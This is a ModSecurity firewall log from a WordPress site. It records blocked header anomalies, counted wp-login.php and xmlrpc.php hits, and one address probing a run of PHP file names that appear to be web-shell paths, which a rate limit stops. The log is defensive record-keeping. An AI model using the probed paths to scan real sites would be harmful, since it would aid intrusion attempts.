[Fri Mar 27 17:40:17.754011 2026] [:error] [pid 27749:tid 27793] [client 43.154.250.181:52832] [client 43.154.250.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acZQgcEqyoMni2Q6_X7a1QAAAEI"]
[Fri Mar 27 17:40:49.144339 2026] [:error] [pid 27749:tid 27810] [client 125.94.144.102:32784] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acZQocEqyoMni2Q6_X7a8wAAAFM"]
[Fri Mar 27 18:00:07.982064 2026] [:error] [pid 63897:tid 63902] [client 185.194.178.80:62811] [client 185.194.178.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZVJ2VSkmYmLu7ycYgp9wAAAQM"]
[Fri Mar 27 18:00:07.985649 2026] [:error] [pid 4293:tid 4301] [client 185.194.178.63:51945] [client 185.194.178.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZVJ5LjeJUC3OKtEx8pjQAAAUY"]
[Fri Mar 27 18:10:40.029407 2026] [:error] [pid 4293:tid 4318] [client 185.194.178.97:53841] [client 185.194.178.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZXoJLjeJUC3OKtEx8xfwAAAVc"]
[Fri Mar 27 18:10:40.041849 2026] [:error] [pid 4293:tid 4311] [client 185.194.178.86:50683] [client 185.194.178.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZXoJLjeJUC3OKtEx8xgAAAAVA"]
[Fri Mar 27 18:20:53.542180 2026] [:error] [pid 27743:tid 27785] [client 185.194.178.86:20825] [client 185.194.178.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZaBSA46UYYLqzw99CwHQAAABU"]
[Fri Mar 27 18:21:08.509327 2026] [:error] [pid 27851:tid 27878] [client 185.194.178.107:40309] [client 185.194.178.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZaFHR2ccxe3RMCLbrXTAAAANQ"]
[Fri Mar 27 18:31:12.062414 2026] [:error] [pid 4293:tid 4296] [client 185.194.178.97:63153] [client 185.194.178.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZccJLjeJUC3OKtEx9CQQAAAUE"]
[Fri Mar 27 18:36:28.359398 2026] [:error] [pid 27851:tid 27875] [client 47.79.195.189:48234] [client 47.79.195.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.79.195.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acZdrHR2ccxe3RMCLbra-gAAANE"], referer: https://www.google.com/
[Fri Mar 27 18:39:23.324321 2026] [:error] [pid 27743:tid 27766] [client 47.79.218.160:61966] [client 47.79.218.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.79.218.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acZeWyA46UYYLqzw99C5PgAAAAI"], referer: https://www.google.com/
[Fri Mar 27 18:41:34.792899 2026] [:error] [pid 4341:tid 4362] [client 185.194.178.102:26777] [client 185.194.178.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZe3uKJWrNB5dMlERGDSAAAAZM"]
[Fri Mar 27 18:52:03.905100 2026] [:error] [pid 27743:tid 27769] [client 185.194.178.79:38249] [client 185.194.178.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZhUyA46UYYLqzw99C_AAAAAAU"]
[Fri Mar 27 19:06:55.568746 2026] [:error] [pid 4293:tid 4298] [client 158.158.32.90:29324] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acZkz5LjeJUC3OKtEx9aAwAAAUM"]
[Fri Mar 27 19:06:56.451899 2026] [:error] [pid 4341:tid 4363] [client 158.158.32.90:28684] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acZk0OKJWrNB5dMlERGMLwAAAZQ"]
[Fri Mar 27 19:06:57.248802 2026] [:error] [pid 27743:tid 27781] [client 158.158.32.90:55174] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acZk0SA46UYYLqzw99DFxgAAABE"]
[Fri Mar 27 19:06:58.089112 2026] [:error] [pid 4293:tid 4301] [client 158.158.32.90:22406] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acZk0pLjeJUC3OKtEx9aCwAAAUY"]
[Fri Mar 27 19:06:58.669557 2026] [:error] [pid 4293:tid 4314] [client 158.158.32.90:33256] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cxs.php"] [unique_id "acZk0pLjeJUC3OKtEx9aEAAAAVM"]
[Fri Mar 27 19:06:59.294473 2026] [:error] [pid 4293:tid 4301] [client 158.158.32.90:26781] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cxs.php"] [unique_id "acZk05LjeJUC3OKtEx9aFAAAAUY"]
[Fri Mar 27 19:06:59.825304 2026] [:error] [pid 27851:tid 27861] [client 158.158.32.90:26797] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cxs.php"] [unique_id "acZk03R2ccxe3RMCLbrhtQAAAMM"]
[Fri Mar 27 19:07:00.391503 2026] [:error] [pid 27743:tid 27785] [client 158.158.32.90:22457] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cxs.php"] [unique_id "acZk1CA46UYYLqzw99DFxwAAABU"]
[Fri Mar 27 19:07:01.068584 2026] [:error] [pid 63897:tid 63903] [client 158.158.32.90:25058] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-scanner.php"] [unique_id "acZk1WVSkmYmLu7ycYg9fAAAAQQ"]
[Fri Mar 27 19:07:01.665836 2026] [:error] [pid 27743:tid 27766] [client 158.158.32.90:27394] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-scanner.php"] [unique_id "acZk1SA46UYYLqzw99DFygAAAAI"]
[Fri Mar 27 19:07:02.314874 2026] [:error] [pid 4293:tid 4300] [client 158.158.32.90:22451] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-scanner.php"] [unique_id "acZk1pLjeJUC3OKtEx9aGwAAAUU"]
[Fri Mar 27 19:07:02.916532 2026] [:error] [pid 4341:tid 4359] [client 158.158.32.90:55183] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-scanner.php"] [unique_id "acZk1uKJWrNB5dMlERGMOgAAAZA"]
[Fri Mar 27 19:07:03.447481 2026] [:error] [pid 4341:tid 4347] [client 158.158.32.90:23732] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "acZk1-KJWrNB5dMlERGMOwAAAYQ"]
[Fri Mar 27 19:07:03.979138 2026] [:error] [pid 27851:tid 27869] [client 158.158.32.90:54089] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "acZk13R2ccxe3RMCLbrhvAAAAMs"]
[Fri Mar 27 19:07:04.496956 2026] [:error] [pid 27851:tid 27861] [client 158.158.32.90:51969] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "acZk2HR2ccxe3RMCLbrhvwAAAMM"]
[Fri Mar 27 19:07:05.010482 2026] [:error] [pid 27750:tid 27838] [client 158.158.32.90:28733] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "acZk2YaSil5rd17ieLzmEgAAAJQ"]
[Fri Mar 27 19:07:05.496753 2026] [:error] [pid 27743:tid 27777] [client 158.158.32.90:25029] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "acZk2SA46UYYLqzw99DF0AAAAA0"]
[Fri Mar 27 19:07:05.995601 2026] [:error] [pid 27749:tid 27812] [client 158.158.32.90:25059] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "acZk2cEqyoMni2Q6_X7oqAAAAFU"]
[Fri Mar 27 19:07:06.480390 2026] [:error] [pid 27851:tid 27880] [client 158.158.32.90:26777] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "acZk2nR2ccxe3RMCLbrhwwAAANY"]
[Fri Mar 27 19:07:07.089726 2026] [:error] [pid 63897:tid 63917] [client 158.158.32.90:22411] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "acZk22VSkmYmLu7ycYg9gAAAARI"]
[Fri Mar 27 19:07:07.812524 2026] [:error] [pid 4293:tid 4317] [client 158.158.32.90:41022] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz8.php"] [unique_id "acZk25LjeJUC3OKtEx9aIQAAAVY"]
[Fri Mar 27 19:07:08.309095 2026] [:error] [pid 4293:tid 4300] [client 158.158.32.90:55213] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz8.php"] [unique_id "acZk3JLjeJUC3OKtEx9aIgAAAUU"]
[Fri Mar 27 19:07:08.846109 2026] [:error] [pid 4341:tid 4346] [client 158.158.32.90:27428] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz8.php"] [unique_id "acZk3OKJWrNB5dMlERGMPQAAAYM"]
[Fri Mar 27 19:07:09.374112 2026] [:error] [pid 4293:tid 4301] [client 158.158.32.90:27440] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz8.php"] [unique_id "acZk3ZLjeJUC3OKtEx9aJwAAAUY"]
[Fri Mar 27 19:07:09.887979 2026] [:error] [pid 27750:tid 27836] [client 158.158.32.90:46256] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feokc.php"] [unique_id "acZk3YaSil5rd17ieLzmFwAAAJI"]
[Fri Mar 27 19:07:10.367618 2026] [:error] [pid 4293:tid 4313] [client 158.158.32.90:29321] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feokc.php"] [unique_id "acZk3pLjeJUC3OKtEx9aKwAAAVI"]
[Fri Mar 27 19:07:10.950381 2026] [:error] [pid 27851:tid 27882] [client 158.158.32.90:25086] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feokc.php"] [unique_id "acZk3nR2ccxe3RMCLbrhywAAANg"]
[Fri Mar 27 19:07:12.726693 2026] [:error] [pid 4293:tid 4316] [client 158.158.32.90:25071] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feokc.php"] [unique_id "acZk4JLjeJUC3OKtEx9aMQAAAVU"]
[Fri Mar 27 19:07:13.786739 2026] [:error] [pid 4293:tid 4317] [client 158.158.32.90:27472] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "acZk4ZLjeJUC3OKtEx9aNwAAAVY"]
[Fri Mar 27 19:07:14.771558 2026] [:error] [pid 4293:tid 4305] [client 158.158.32.90:29334] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "acZk4pLjeJUC3OKtEx9aPQAAAUo"]
[Fri Mar 27 19:07:15.469076 2026] [:error] [pid 63897:tid 63920] [client 158.158.32.90:41001] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "acZk42VSkmYmLu7ycYg9iQAAARU"]
[Fri Mar 27 19:07:16.348291 2026] [:error] [pid 63897:tid 63906] [client 158.158.32.90:55188] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "acZk5GVSkmYmLu7ycYg9jAAAAQc"]
[Fri Mar 27 19:07:16.968919 2026] [:error] [pid 4293:tid 4302] [client 158.158.32.90:40990] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpmini.php"] [unique_id "acZk5JLjeJUC3OKtEx9aRAAAAUc"]
[Fri Mar 27 19:07:18.355174 2026] [:error] [pid 4293:tid 4306] [client 158.158.32.90:23680] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpmini.php"] [unique_id "acZk5pLjeJUC3OKtEx9aSwAAAUs"]
[Fri Mar 27 19:07:18.870173 2026] [:error] [pid 4341:tid 4357] [client 158.158.32.90:22442] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpmini.php"] [unique_id "acZk5uKJWrNB5dMlERGMRgAAAY4"]
[Fri Mar 27 19:07:19.563287 2026] [:error] [pid 4293:tid 4308] [client 158.158.32.90:46214] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpmini.php"] [unique_id "acZk55LjeJUC3OKtEx9aUQAAAU0"]
[Fri Mar 27 19:07:20.242408 2026] [:error] [pid 4293:tid 4319] [client 158.158.32.90:29329] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "acZk6JLjeJUC3OKtEx9aVAAAAVg"]
[Fri Mar 27 19:07:20.785294 2026] [:error] [pid 4293:tid 4313] [client 158.158.32.90:46225] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "acZk6JLjeJUC3OKtEx9aVgAAAVI"]
[Fri Mar 27 19:07:21.299709 2026] [:error] [pid 4293:tid 4301] [client 158.158.32.90:55740] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "acZk6ZLjeJUC3OKtEx9aXQAAAUY"]
[Fri Mar 27 19:07:21.863028 2026] [:error] [pid 4293:tid 4308] [client 158.158.32.90:46229] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "acZk6ZLjeJUC3OKtEx9aYgAAAU0"]
[Fri Mar 27 19:07:22.657390 2026] [:error] [pid 4293:tid 4299] [client 158.158.32.90:59905] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tbute.php"] [unique_id "acZk6pLjeJUC3OKtEx9aawAAAUQ"]
[Fri Mar 27 19:07:23.283120 2026] [:error] [pid 27749:tid 27811] [client 158.158.32.90:33258] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tbute.php"] [unique_id "acZk68EqyoMni2Q6_X7osAAAAFQ"]
[Fri Mar 27 19:07:23.878885 2026] [:error] [pid 63897:tid 63916] [client 158.158.32.90:52012] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tbute.php"] [unique_id "acZk62VSkmYmLu7ycYg9lQAAARE"]
